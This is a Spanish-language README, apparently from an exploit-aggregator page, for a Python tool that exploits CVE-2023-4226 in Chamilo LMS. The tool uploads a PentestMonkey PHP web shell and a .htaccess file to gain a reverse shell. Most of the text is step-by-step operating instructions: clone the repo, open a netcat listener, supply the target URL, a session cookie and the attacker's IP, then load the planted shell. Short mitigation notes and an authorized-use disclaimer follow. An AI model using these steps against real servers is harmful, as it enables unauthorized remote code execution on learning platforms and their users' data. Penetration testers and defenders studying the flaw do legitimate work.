## https://sploitus.com/exploit?id=8D228377-84F0-59B5-A232-5A6F9C9A00E1
# 🛠️ Explotación CVE-2023-4226 para Chamilo LMS
## 📋 Descripción
Script en Python que automatiza la explotación de **CVE-2023-4226**, una vulnerabilidad de carga de archivos sin restricciones en **Chamilo LMS** (<= v1.11.24). Sube un web shell PHP basado en PentesterMonkey y configura `.htaccess` para lograr una **reverse shell**. Más detalles: [Advisory de STAR Labs](https://starlabs.sg/advisories/23/23-4226/).
## 🔍 Vulnerabilidad
- **Producto**: Chamilo LMS
- **Severidad**: Alta (CVSS 3.1: 8.8)
- **Versiones Afectadas**: <= v1.11.24
- **Descripción**: Usuarios con rol de aprendiz pueden subir archivos PHP en `/main/inc/ajax/work.ajax.php`, logrando RCE.
- **CWE**: CWE-434 (Carga de Archivos Peligrosos)
## 🚀 Funcionalidad
1. **Solicita**:
- URL del objetivo.
- Cookie de sesión (`ch_sid`).
- IP y puerto del atacante para la reverse shell.
2. **Modifica** `rce.php` con IP y puerto.
3. **Ejecuta**:
- GET a `/main/work/work.php?cidReq=HW`.
- POST a `/main/inc/ajax/work.ajax.php` para subir `rce.php` y `.htaccess`.
4. **Muestra** la URL del web shell (`/app/cache/rce.php`).
## 📦 Requisitos
- **Python**: `requests`, `colorama`.
```bash
pip install requests colorama
```
- **Archivos**: `rce.php` (PentesterMonkey, incluido en el repositorio), `.htaccess` (generado por el script).
- **Red**: IP y puerto para el listener (ej. `nc -lvnp 4444`).
## 🛠️ Uso
1. Clona el repositorio:
```bash
git clone https://github.com/SkyW4r33x/CVE-2023-4226
cd CVE-2023-4226
```
2. Asigna permisos de ejecución al script:
```bash
chmod +x CVE-2023-4226.py
```
3. Instala dependencias:
```bash
pip install requests colorama
```
4. Inicia el listener en una terminal:
```bash
nc -lvnp 4444
```
5. Ejecuta el script:
```bash
./CVE-2023-4226.py
```
6. Ingresa:
- URL del Chamilo.
- Cookie `ch_sid`.
- IP y puerto del listener.
7. Accede al web shell para iniciar la reverse shell:
```
http://<chamilo>/app/cache/rce.php
```
Ejemplo: `http://chamilo.local/app/cache/rce.php`
## 🛡️ Mitigaciones
- Actualiza a **Chamilo >= v1.11.26**.
- Sanitiza nombres de archivos.
- Bloquea HTML en `disable_dangerous_file()`.
- Agrega a `.htaccess`:
```apache
RedirectMatch 403 ^/main/inc/lib/javascript/bigupload/files
Header set X-Content-Type-Options nosniff
```
## ⚠️ Aviso Legal
Uso exclusivo para **pruebas autorizadas**. El uso no autorizado es **ilegal**.
## 🙌 Créditos
- **Vulnerabilidad**: Ngo Wei Lin (@Creastery), STAR Labs.
- **Script**: SkyW4r33x